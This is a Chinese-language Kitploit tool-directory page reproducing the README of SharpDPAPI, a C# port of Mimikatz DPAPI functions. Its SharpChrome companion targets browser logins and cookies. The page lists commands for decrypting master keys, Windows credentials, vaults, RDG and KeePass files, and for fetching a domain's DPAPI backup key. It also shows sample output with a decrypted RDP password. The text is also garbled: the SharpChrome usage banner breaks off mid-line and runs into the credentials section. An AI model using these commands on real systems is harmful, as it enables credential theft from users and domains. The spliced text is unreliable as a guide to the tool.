Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpDPAPI — SharpDPAPI 是一个将部分 Mimikatz DPAPI 功能移植到 C# 的版本。 | Kitploit
工具/GitHubGitHub/ghostpack/sharpdpapi
密码破解加密/解密工具持久化机制漏洞利用数据泄露后渗透利用渗透测试红队持久化机制 分类第 8 名
GitHub
1.4k249392年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
ghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI 是一个将部分 Mimikatz DPAPI 功能移植到 C# 的版本。

查看仓库

SharpDPAPI


SharpDPAPI 是 @gentilkiwi 的 Mimikatz 项目中部分 DPAPI 功能的 C# 移植版本。

我并未构思此逻辑,它仅仅是 Mimikatz 的移植,旨在更好地理解流程并将其操作化以适应我们的工作流程。

SharpChrome 子项目改编自 @gentilkiwi 和 @djhohnstein 的工作,特别是其 SharpChrome 项目。然而,此版本的 SharpChrome 使用了支持无锁打开的不同版本的 C# SQL 库。由于所使用的 SQLite 库体积较大,SharpChrome 在 SharpDPAPI 中被构建为一个单独的项目。

Chrome 和基于 Chromium 的新型 Edge 浏览器均可通过 SharpChrome 进行分类。

SharpChrome 还使用了 @AArnott 的 BCrypt P/Invoke 代码 的精简版本,该代码以 MIT 许可证发布。

如果你不熟悉 DPAPI,请查看此文章获取更多背景信息。有关 DPAPI 中凭据和保管库的更多信息,请参阅 Benjamin 的关于该主题的 Wiki 条目。

@harmj0y 是本移植版本的主要作者。

SharpDPAPI 采用 BSD 3-Clause 许可证授权。

目录

  • SharpDPAPI
    • 目录
    • 背景
      • SharpDPAPI 命令行用法
      • SharpChrome 命令行用法
      • 操作用法
        • SharpDPAPI
        • SharpChrome
    • SharpDPAPI 命令
      • 用户分类
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • 计算机分类
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • 其他
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • SharpChrome 命令
      • logins
      • cookies
      • statekeys
      • backupkey
    • 编译说明
      • 针对其他 .NET 版本
      • 附注:通过 PowerShell 运行 SharpDPAPI
        • 附注附注:通过 PSRemoting 运行 SharpDPAPI

背景

SharpDPAPI 命令行用法

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

检索域控制器的 DPAPI 备份密钥,可选择指定域控制器和输出文件:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


*search* 命令将搜索注册表、文件、文件夹和 base64 blob 中潜在的 DPAPI blob:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


计算机/SYSTEM 分类:

    machinemasterkeys       -   对所有可访问的计算机主密钥文件进行分类(提升至 SYSTEM 以检索 DPAPI_SYSTEM LSA 秘密)
    machinecredentials      -   使用 'machinemasterkeys' 然后对计算机凭据文件进行分类
    machinevaults           -   使用 'machinemasterkeys' 然后对计算机保管库进行分类
    machinetriage           -   运行 'machinecredentials' 和 'machinevaults' 命令


用户分类:

    'masterkeys' 命令的参数:

        /target:FILE/folder     -   对特定主密钥或包含主密钥的文件夹进行分类(否则对本地主密钥进行分类)
        /pvk:BASE64...          -   使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
        /pvk:key.pvk            -   使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
        /password:X             -   使用明文密码解密目标用户的主密钥(可远程工作)
        /ntlm:X                 -   使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
        /credkey:X              -   使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
        /rpc                    -   通过请求域控制器解密目标用户的主密钥
        /server:SERVER          -   对远程服务器进行分类,假设拥有管理员权限
        /hashes                 -   输出用户主密钥文件的 '哈希',格式为 JTR/Hashcat(不解密)


    credentials|vaults|rdg|keepass|triage|blob|ps 命令的参数:

        解密:
            /unprotect          -   强制对 'ps'、'rdg' 或 'blob' 命令使用 CryptUnprotectData()
            /pvk:BASE64...      -   使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
            /pvk:key.pvk        -   使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
            /password:X         -   使用明文密码解密目标用户的主密钥(可远程工作)
            /ntlm:X             -   使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
            /credkey:X          -   使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
            /rpc                -   通过请求域控制器解密目标用户的主密钥
            GUID1:SHA1 ...      -   使用一个或多个 GUID:SHA1 主密钥进行解密
            /mkfile:FILE        -   使用包含一个或多个 GUID:SHA1 主密钥的文件进行解密

        目标定位:
            /target:FILE/folder -   对特定的 'Credentials'、'.rdg|RDCMan.settings'、'blob' 或 'ps' 文件位置,或 'Vault' 文件夹进行分类
            /server:SERVER      -   对远程服务器进行分类,假设拥有管理员权限
                                    注意:必须与 /pvk:KEY 或 /password:X 一起使用
                                    注意:不适用于 'blob' 或 'ps' 命令


证书分类:

    'certificates' 命令的参数:
        /showall                                        -   显示所有解密的私钥文件,而不仅仅是链接到已安装证书的文件(默认行为)
        /machine                                        -   使用本地计算机存储进行证书分类
        /mkfile | /target                               -   用于 /machine 分类
        [来自上方用户分类的所有解密参数]


注意:大多数情况下,如果你在处理用户 DPAPI 秘密时直接使用 *triage*,而在处理 SYSTEM DPAPI 秘密时使用 *machinetriage*。
      这些功能封装了所有其他可以自动运行的相关功能。

SharpChrome 命令行用法

  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_**credentials** 命令将搜索凭据文件,并可以 a) 使用提供的任何 `{GUID}:SHA1` 主密钥解密,b) 使用一个 `/mkfile:FILE` 文件,包含一个或多个 `{GUID}:SHA1` 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(`/pvk:BASE64...` 或 `/pvk:key.pvk`)首先解密任何用户主密钥(类似 **masterkeys**),或 d) 使用 `/password:X` 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 `sekurlsa::dpapi` 命令恢复。

可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的凭证文件(或凭证文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值;如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。

如果在提升的上下文中运行,将处理所有用户的凭证文件,否则仅处理当前用户的凭证文件。

使用域 {GUID}:SHA1 主密钥映射:

C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage
下载工具